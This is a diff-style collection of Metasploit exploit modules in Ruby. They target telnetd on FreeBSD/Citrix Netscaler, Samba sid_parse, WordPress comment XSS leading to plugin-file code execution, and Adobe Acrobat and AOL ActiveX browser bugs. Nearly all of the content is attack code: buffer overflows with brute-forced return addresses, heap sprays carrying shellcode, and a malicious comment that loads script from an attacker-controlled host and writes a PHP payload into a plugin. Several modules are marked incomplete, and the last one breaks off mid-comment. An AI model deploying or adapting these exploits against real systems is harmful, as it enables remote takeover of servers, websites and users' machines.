||||
'Bruteforce' =>
|
||||
{
|
||||
|
||||
'Start' => { 'Ret' => 0x0805cffd },
|
||||
'Stop' => { 'Ret' => 0x0805aa00 },
|
||||
'Step' => 8
|
||||
}
|
||||
}
|
||||
],
|
||||
|
||||
[ 'Citrix Netscaler 9.x',
|
||||
{
|
||||
'Bruteforce' =>
|
||||
{
|
||||
|
||||
'Start' => { 'Ret' => 0x0805bffd },
|
||||
'Stop' => { 'Ret' => 0x08059000 },
|
||||
'Step' => 8
|
||||
}
|
||||
}
|
||||
],
|
||||
|
||||
[ 'Other FreeBSD based targets',
|
||||
{
|
||||
'Bruteforce' =>
|
||||
{
|
||||
|
||||
'Start' => { 'Ret' => 0x0805fffd },
|
||||
'Stop' => { 'Ret' => 0x08050000 },
|
||||
'Step' => 8
|
||||
}
|
||||
}
|
||||
],
|
||||
|
||||
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Dec 23 2011'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(23),
|
||||
], self.class )
|
||||
end
|
||||
|
||||
def brute_exploit(addrs)
|
||||
curr_ret = addrs['Ret']
|
||||
begin
|
||||
connect
|
||||
|
||||
sock.get_once
|
||||
print_status('Initiate encryption mode ...')
|
||||
|
||||
req = ''
|
||||
req << "\xff\xfa\x26\x00\x01\x01\x12\x13"
|
||||
req << "\x14\x15\x16\x17\x18\x19\xff\xf0"
|
||||
req << "\x00"
|
||||
|
||||
sock.put(req)
|
||||
sock.get_once
|
||||
req = ''
|
||||
print_status("Trying return address 0x%.8x..." % curr_ret )
|
||||
print_status('Sending first payload ...')
|
||||
|
||||
req << "\xff\xfa\x26\x07"
|
||||
req << "\x00"
|
||||
req << make_nops(71)
|
||||
penc = payload.encoded.gsub("\xff", "\xff\xff")
|
||||
req << [curr_ret].pack('V')
|
||||
req << [curr_ret].pack('V')
|
||||
|
||||
req << make_nops(128)
|
||||
req << penc
|
||||
req << "\x90\x90\x90\x90"
|
||||
req << "\xff\xf0"
|
||||
req << "\x00"
|
||||
|
||||
sock.put(req)
|
||||
sock.get_once
|
||||
print_status('Sending second payload ...')
|
||||
sock.put(req)
|
||||
|
||||
disconnect
|
||||
handler
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,315 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Brute
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Samba sid_parse Stack Buffer Overflow (Linux x86)',
|
||||
'Description' => %q{
|
||||
|
||||
=begin
|
||||
This exploits a memory corruption vulnerability present in Samba versions
|
||||
prior to 3.3.13. When handling chained response packets, Samba fails to validate
|
||||
the offset value used when building the next part. By setting this value to a
|
||||
number larger than the destination buffer size, an attacker can corrupt memory.
|
||||
Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
|
||||
cause the header of the input buffer chunk to be corrupted.
|
||||
|
||||
After close inspection, it appears that 3.0.x versions of Samba are not
|
||||
exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
|
||||
cause memory to be corrupted in an exploitable way. It is possible to corrupt the
|
||||
heap header of the "InputBuffer", but it didn't seem possible to get the chunk
|
||||
to be processed again prior to process exit.
|
||||
|
||||
In order to gain code execution, this exploit attempts to overwrite a "talloc
|
||||
chunk" destructor function pointer.
|
||||
|
||||
This particular module is capable of exploiting the flaw on x86 Linux systems
|
||||
that do not have the nx memory protection.
|
||||
|
||||
NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
|
||||
for user sessions in the default configuration.
|
||||
=end
|
||||
},
|
||||
'Author' => [ 'jduck' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-3069' ],
|
||||
[ 'URL', 'http://us1.samba.org/samba/security/CVE-2010-3069.html' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 0x600,
|
||||
'BadChars' => "",
|
||||
},
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux (Debian5 3.2.5-4lenny6)',
|
||||
{
|
||||
'Offset2' => 0x1fec,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
'Start' => { 'Ret' => 0x081ed5f2 }, # jmp ecx (smbd bin)
|
||||
'Stop' => { 'Ret' => 0x081ed5f2 },
|
||||
'Step' => 0x300 # not used
|
||||
}
|
||||
}
|
||||
],
|
||||
|
||||
[ 'Debugging Target',
|
||||
{
|
||||
'Offset2' => 0x1fec,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
'Start' => { 'Ret' => 0xAABBCCDD },
|
||||
'Stop' => { 'Ret' => 0xAABBCCDD },
|
||||
'Step' => 0x300
|
||||
}
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 16 2010'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(139),
|
||||
OptString.new('SMBSHARE', [ true, "The share name to use", nil]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
#
|
||||
# Note: this code is duplicated from lib/rex/proto/smb/client.rb
|
||||
#
|
||||
# Authenticate using clear-text passwords
|
||||
#
|
||||
def session_setup_clear_ignore_response(user = '', pass = '', domain = '')
|
||||
|
||||
data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');
|
||||
|
||||
pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
|
||||
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 10
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['PasswordLen'] = pass.length + 1
|
||||
pkt['Payload'].v['Capabilities'] = 64
|
||||
pkt['Payload'].v['SessionKey'] = self.simple.client.session_id
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
||||
end
|
||||
|
||||
|
||||
=end
|
||||
|
||||
def brute_exploit(addrs)
|
||||
|
||||
curr_ret = addrs['Ret']
|
||||
|
||||
connect
|
||||
smb_login
|
||||
|
||||
# Open the share
|
||||
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
||||
|
||||
puts "press any key"; $stdin.gets
|
||||
|
||||
# Open the working directory
|
||||
disposition = 1
|
||||
impersonation = 2
|
||||
filename = "\\"
|
||||
|
||||
pkt = CONST::SMB_CREATE_PKT.make_struct
|
||||
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 24
|
||||
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['FileNameLen'] = filename.length
|
||||
pkt['Payload'].v['CreateFlags'] = 3
|
||||
pkt['Payload'].v['AccessMask'] = CONST::OPEN_ACCESS_READ
|
||||
pkt['Payload'].v['ShareAccess'] = 7
|
||||
pkt['Payload'].v['CreateOptions'] = 0
|
||||
pkt['Payload'].v['Impersonation'] = impersonation
|
||||
pkt['Payload'].v['Disposition'] = disposition
|
||||
pkt['Payload'].v['Payload'] = filename + "\x00"
|
||||
|
||||
ret = self.simple.client.smb_send(pkt.to_s)
|
||||
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)
|
||||
|
||||
fid = nil
|
||||
# Save off the FileID
|
||||
if (ack['Payload'].v['FileID'] > 0)
|
||||
fid = ack['Payload'].v['FileID']
|
||||
end
|
||||
|
||||
=begin
|
||||
res = self.simple.client.create("\\")
|
||||
fid = res['Payload'].v['FileID']
|
||||
=end
|
||||
|
||||
sid_rev_num = 1
|
||||
sid_num_auths = 0xff
|
||||
sid = "A" * 4
|
||||
sid << [ sid_rev_num, sid_num_auths ].pack('CC')
|
||||
sid << "ABCDEF" # id_auth[6]
|
||||
sid << Rex::Text.pattern_create( 0x40 )
|
||||
|
||||
#sid = [ sid_rev_num, sid_num_auths ].pack('CC')
|
||||
#sid << "A"
|
||||
|
||||
#
|
||||
# Send a NTTrans request for FindFilesBySID
|
||||
#
|
||||
subcommand = 2 # IOCTL
|
||||
param = ''
|
||||
body = sid
|
||||
setup_count = 4
|
||||
#setup_data = [CONST::NT_TRANSACT_IOCTL, 0x9008f, fid].pack('vVv')
|
||||
setup_data = [7, 0x9008f, fid].pack('vVv')
|
||||
|
||||
param = [0].pack("N") # Four bytes of unknown
|
||||
param += sid
|
||||
data = param + body
|
||||
|
||||
pkt = CONST::SMB_NTTRANS_PKT.make_struct
|
||||
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
base_offset = pkt.to_s.length + (setup_count * 2) - 4
|
||||
param_offset = base_offset
|
||||
data_offset = param_offset + param.length
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count
|
||||
|
||||
pkt['Payload'].v['ParamCountTotal'] = param.length
|
||||
pkt['Payload'].v['DataCountTotal'] = body.length
|
||||
pkt['Payload'].v['ParamCountMax'] = 1024
|
||||
pkt['Payload'].v['DataCountMax'] = 65504
|
||||
pkt['Payload'].v['ParamCount'] = param.length
|
||||
pkt['Payload'].v['ParamOffset'] = param_offset
|
||||
pkt['Payload'].v['DataCount'] = body.length
|
||||
pkt['Payload'].v['DataOffset'] = data_offset
|
||||
pkt['Payload'].v['SetupCount'] = setup_count
|
||||
pkt['Payload'].v['SetupData'] = setup_data
|
||||
pkt['Payload'].v['Subcommand'] = subcommand
|
||||
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_NT_TRANSACT)
|
||||
|
||||
handler
|
||||
|
||||
=begin
|
||||
|
||||
begin
|
||||
connect
|
||||
|
||||
#select(nil,nil,nil,2)
|
||||
|
||||
#
|
||||
# This allows us to allocate a talloc_chunk after the input buffer.
|
||||
# If doing so fails, we are lost ...
|
||||
#
|
||||
10.times {
|
||||
session_setup_clear_ignore_response('', '', '')
|
||||
}
|
||||
|
||||
# We re-use a pointer from the stack and jump back to our original "inbuf"
|
||||
distance = target['Offset2'] - 0x80
|
||||
jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string
|
||||
|
||||
tlen = 0xc00
|
||||
trans =
|
||||
"\x00\x04" +
|
||||
"\x08\x20" +
|
||||
"\xff"+"SMB"+
|
||||
# SMBlogoffX
|
||||
[0x74].pack('V') +
|
||||
# tc->next, tc->prev
|
||||
jmp_back + ("\x42" * 3) +
|
||||
#("A" * 4) + ("B" * 4) +
|
||||
# tc->parent, tc->child
|
||||
"CCCCDDDD" +
|
||||
# tc->refs, must be zero
|
||||
("\x00" * 4) +
|
||||
# over writes tc->destructor
|
||||
[addrs['Ret']].pack('V') +
|
||||
"\x00\x00\x00\x00"+
|
||||
"\xd0\x07\x0c\x00"+
|
||||
"\xd0\x07\x0c\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\xd0\x07"+
|
||||
"\x43\x00\x0c\x00"+
|
||||
"\x14\x08\x01\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x90"
|
||||
|
||||
# We put the shellcode first, since only part of this packet makes it into memory.
|
||||
trans << payload.encoded
|
||||
trans << rand_text(tlen - trans.length)
|
||||
|
||||
# Set what eventually becomes 'smb_off2' to our unvalidated offset value.
|
||||
smb_off2 = target['Offset2']
|
||||
trans[39,2] = [smb_off2].pack('v')
|
||||
|
||||
sock.put(trans)
|
||||
|
||||
rescue EOFError
|
||||
# nothing
|
||||
rescue => e
|
||||
print_error("#{e}")
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
|
||||
# See if we won yet..
|
||||
select(nil,nil,nil, 1)
|
||||
=end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
##
|
||||
# This module requires Metasploit: http//:metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Rex::Text
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "WordPress Administrator Remote Code Execution Through XSS",
|
||||
'Description' => %q{
|
||||
This module exploits a XSS vulnerability found in WordPress 4.2, 4.1.2, 4.1.1, and 3.9.3. This vulnerability allows an unauthenticated attacker to inject arbitrary JavaScript code into comment fields. The module utilizes administrator authenticated XSS escalation through the WordPress plugin editor to gain remote code execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jouko Pynnonen', #Initial Proof of Concept
|
||||
'Matthew Toussain' #Everything else
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://kinozoa.com/blog/wordpress-4-2-comment-field-overflow/'],
|
||||
['URL', 'http://klikki.fi/adv/wordpress2.html']
|
||||
],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
# Arbitrary big number. The payload gets sent as an HTTP
|
||||
# response body, so really it's unlimited
|
||||
'Space' => 262144, # 256k
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Targets' =>
|
||||
[
|
||||
['Wordpress <= 4.2, 4.1.2, 4.1.1, 3.9.3', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 26 2015",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PLUGIN', [true, 'This is the WordPress plugin file that will be written to.','akismet/akismet.php']),
|
||||
OptString.new('COMMENTID', [true, 'This is id of the WordPress page that will be commented on.','1']),
|
||||
OptString.new('RHOST', [true, 'This is the WordPress install directory']),
|
||||
OptString.new('LHOST', [true, 'This is the IP to connect back to for the javascript','0.0.0.0']),
|
||||
OptString.new('URIPATH', [true, 'This is the URI path that will be created for the javascript hosted file','wp-met.js']),
|
||||
OptString.new('SRVPORT', [true, 'This is the port for the javascript to connect back to','80']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
padding = "A"*66000
|
||||
|
||||
comment = "%3Ca+title%3D%27xxx+onmouseover%3Deval%28unescape%28%2Fvar%2520a%253Ddocument.createElement%2528%2527script%2527%2529%253Ba.setAttribute%2528%2527src%2527%252C%2527http%253A%252f%252f#{datastore['LHOST']}%253A#{datastore['SRVPORT']}%252f#{datastore['URIPATH']}%2527%2529%253Bdocument.head.appendChild%2528a%2529%2F.source%29%29+style%3Dposition%3Aabsolute%3Bleft%3A0%3Btop%3A0%3Bwidth%3A5000px%3Bheight%3A5000px++" + padding + "%27%3E%3C%2Fa%3E"
|
||||
|
||||
comment_post_ID = "#{datastore['COMMENTID']}"
|
||||
cookie = "wp-settings-time-1=1431669695;"
|
||||
post_data = "author=a&email=a%40a.com&url=http%3A%2F%2Fa&comment=" + comment + "&submit=Post+Comment&comment_post_ID=" + comment_post_ID + "&comment_parent=0"
|
||||
|
||||
|
||||
resp = send_request_cgi({
|
||||
'uri' => "http://#{rhost}/wp-comments-post.php",
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'data' => post_data,
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
|
||||
|
||||
super
|
||||
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
rhost = datastore['RHOST']
|
||||
plugin = datastore['PLUGIN']
|
||||
page = "wp-comments-post-php"
|
||||
|
||||
p2 = payload.encoded
|
||||
require 'cgi'
|
||||
pc = CGI.escape(p2)
|
||||
|
||||
content = %Q|
|
||||
var pcont = "#{pc}";
|
||||
var head = "<?php ";
|
||||
var tail = " ?> ";
|
||||
var payload = head + pcont + tail;
|
||||
|
||||
function get(url)
|
||||
{
|
||||
var http = null;
|
||||
http = new XMLHttpRequest();
|
||||
http.open( "GET", url, false );
|
||||
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||||
http.send( null );
|
||||
return http.responseText;
|
||||
}
|
||||
function post(url, csrftoken)
|
||||
{
|
||||
var http = null;
|
||||
http = new XMLHttpRequest();
|
||||
http.open( "POST", url, false );
|
||||
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||||
http.send("_wpnonce=" + csrftoken + "&_wp_http_referer=#{rhost}%2Fwp-admin%2Fplugin-editor.php%3Ffile%3D#{plugin}%26a%3Dte%26scrollto%3D605&newcontent=" + payload + "&action=update&file=#{plugin}&plugin=#{plugin}&scrollto=0&submit=Update+File");
|
||||
return http.responseText;
|
||||
}
|
||||
|
||||
var page = get("http://#{rhost}/wp-admin/plugin-editor.php?file=#{plugin}&plugin=#{plugin}");
|
||||
|
||||
var regExp = /name=\"_wpnonce\"\svalue=\"([^)]+)\"/;
|
||||
var matches = regExp.exec(page);
|
||||
var csrftoken = matches[1].slice(0, 10);
|
||||
|
||||
post("http://#{rhost}/wp-admin/plugin-editor.php", csrftoken);
|
||||
get("http://#{rhost}/wp-content/plugins/#{plugin}");
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
send_response_html(cli, content)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -0,0 +1,144 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Adobe Acrobat Embedded COM Object Memory Corruption ',
|
||||
'Description' => %q{
|
||||
This module exploits a memory corruption flaw in the Adobe Acrobat
|
||||
plugin for Mozilla Firefox and related browsers. The flaw is triggered
|
||||
when an EMBED tag is used to load and unload a PDF document.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'skylined', # Bug discovery and public PoC
|
||||
'hdm', # Metasploit port and code execution
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2009-2983' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows 2000 SP4 -> Windows 2003 SP0', {'Ret' => 0x0c0c0c0c} ]
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
@tag ||= rand_text_alpha(8)
|
||||
|
||||
if(request.uri =~ /#{@tag}.html$/)
|
||||
content = %Q|
|
||||
<html><head></head>
|
||||
<BODY onload='go()'></BODY>
|
||||
<SCRIPT>
|
||||
var sMimeType = null, sHTML = null, iCounter = 1000;
|
||||
sMimeType = "application/pdf";
|
||||
sHTML = sMimeType + " <EMBED type='" + sMimeType + "'></EMBED>";
|
||||
|
||||
function go() {
|
||||
if (sMimeType && iCounter > 0) {
|
||||
iCounter--;
|
||||
document.body.innerHTML = iCounter.toString() +
|
||||
sHTML + sHTML + sHTML + sHTML + sHTML + sHTML;
|
||||
setTimeout(go, 0);
|
||||
} else if (sMimeType) {
|
||||
location.reload();
|
||||
}
|
||||
}
|
||||
</SCRIPT>|
|
||||
print_status("Sending trigger to #{cli.peerhost}:#{cli.peerport}...")
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
end
|
||||
|
||||
# Re-generate the payload
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
# Encode the shellcode
|
||||
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
|
||||
# Get a unicode friendly version of the return address
|
||||
addr_word = [target.ret].pack('V').unpack('H*')[0][0,4]
|
||||
|
||||
# Randomize the javascript variable names
|
||||
var_buffer = rand_text_alpha(rand(30)+2)
|
||||
var_shellcode = rand_text_alpha(rand(30)+2)
|
||||
var_unescape = rand_text_alpha(rand(30)+2)
|
||||
var_x = rand_text_alpha(rand(30)+2)
|
||||
var_i = rand_text_alpha(rand(30)+2)
|
||||
|
||||
var_size = rand_text_alpha(rand(30)+2)
|
||||
var_nopsize = rand_text_alpha(rand(30)+2)
|
||||
var_limit = rand_text_alpha(rand(30)+2)
|
||||
|
||||
var_obj = rand_text_alpha(rand(30)+2)
|
||||
var_id = rand_text_alpha(rand(30)+2)
|
||||
|
||||
|
||||
# Build out the heap fill
|
||||
content = %Q|
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<script language="javascript">
|
||||
|
||||
function fill() {
|
||||
var #{var_unescape} = unescape ;
|
||||
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
|
||||
|
||||
var #{var_size} = #{var_shellcode}.length * 2;
|
||||
var #{var_nopsize} = 0x400000 - (#{var_size} + 0x38);
|
||||
var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
|
||||
|
||||
while (#{var_buffer}.length * 2 < #{var_nopsize}) #{var_buffer}+=#{var_buffer} ;
|
||||
|
||||
#{var_limit} = (0x12000000 - 0x400000) / 0x400000;
|
||||
var #{var_x} = new Array() ;
|
||||
for ( var #{var_i} =0 ; #{var_i} < #{var_limit} ; #{var_i}++ ) {
|
||||
#{var_x}[ #{var_i} ] =
|
||||
#{var_buffer} + #{var_shellcode};
|
||||
}
|
||||
}
|
||||
</script>
|
||||
<body onload="fill()">
|
||||
<iframe src="#{get_resource}/#{@tag}.html">
|
||||
</iframe>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
content = Rex::Text.randomize_space(content)
|
||||
|
||||
print_status("Sending heap fill to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,156 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "[INCOMPLETE] American Online (AOL) SuperBuddy ActiveX LinkSBIcons() Remote Code Execution",
|
||||
'Description' => %q{
|
||||
User-controlled pointer in LinkSBIcons() as as argument, enough said.
|
||||
This module has not been tested at all, because the vulnerable version of AOL
|
||||
hasn't been found.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
'Cody Pierce', #Initial discovery
|
||||
'sinn3r', #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2006-5820' ],
|
||||
[ 'OSVDB', '34318' ],
|
||||
[ 'BID', '23224' ],
|
||||
[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/23224.msf' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 6 on Windows XP SP3', { 'Rop' => false, 'Offset' => '0x5F4' } ],
|
||||
[ 'IE 7 on Windows XP SP3', { 'Rop' => false, 'Offset' => '0x5F4' } ],
|
||||
#[ 'IE 8 on Windows XP SP3', { 'Rop' => true, 'Offset' => '0x5f4' } ],
|
||||
[ 'IE 7 on Windows Vista', { 'Rop' => false, 'Offset' => '0x5f4' } ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Dec 8 2006",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
#If the user is already specified by the user, we'll just use that
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
|
||||
return targets[1] #IE 6 on Windows XP SP2/SP3
|
||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
|
||||
return targets[2] #IE 7 on Windows XP SP3
|
||||
#elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
|
||||
# return targets[3] #IE 8 on Windows XP SP3
|
||||
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
|
||||
return targets[4] #IE 7 on Windows Vista
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
my_target = get_target(agent)
|
||||
|
||||
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
||||
if my_target.nil?
|
||||
print_error("Browser not supported, will not launch attack: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
||||
|
||||
# The heap spraying routine
|
||||
spray = <<-JS
|
||||
var heap_obj = new heapLib.ie(0x20000);
|
||||
var code = unescape("#{js_code}");
|
||||
var nops = unescape("#{js_nops}");
|
||||
|
||||
while (nops.length < 0x80000) nops += nops;
|
||||
var offset = nops.substring(0, #{my_target['Offset']});
|
||||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
var block = shellcode.substring(0, (0x80000-6)/2);
|
||||
|
||||
heap_obj.gc();
|
||||
|
||||
for (var i=1; i < 0x300; i++) {
|
||||
heap_obj.alloc(block);
|
||||
}
|
||||
JS
|
||||
|
||||
spray = heaplib(spray, {:noobfu => true})
|
||||
|
||||
# 0c0c0c0c = 202116108
|
||||
html = <<-EOS
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
#{spray}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<object id="aol" classid="clsid:189504B8-50D1-4AA8-B4D6-95C8F58A6414" width="0" height="0"></object>
|
||||
<script>
|
||||
aol.LinkSBIcons(0x0c0c0c0c);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
|
||||
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
C:\Program Files\AOL 9.0\sb.dll
|
||||
new ActiveXObject("Sb.SuperBuddy.1")
|
||||
|
||||
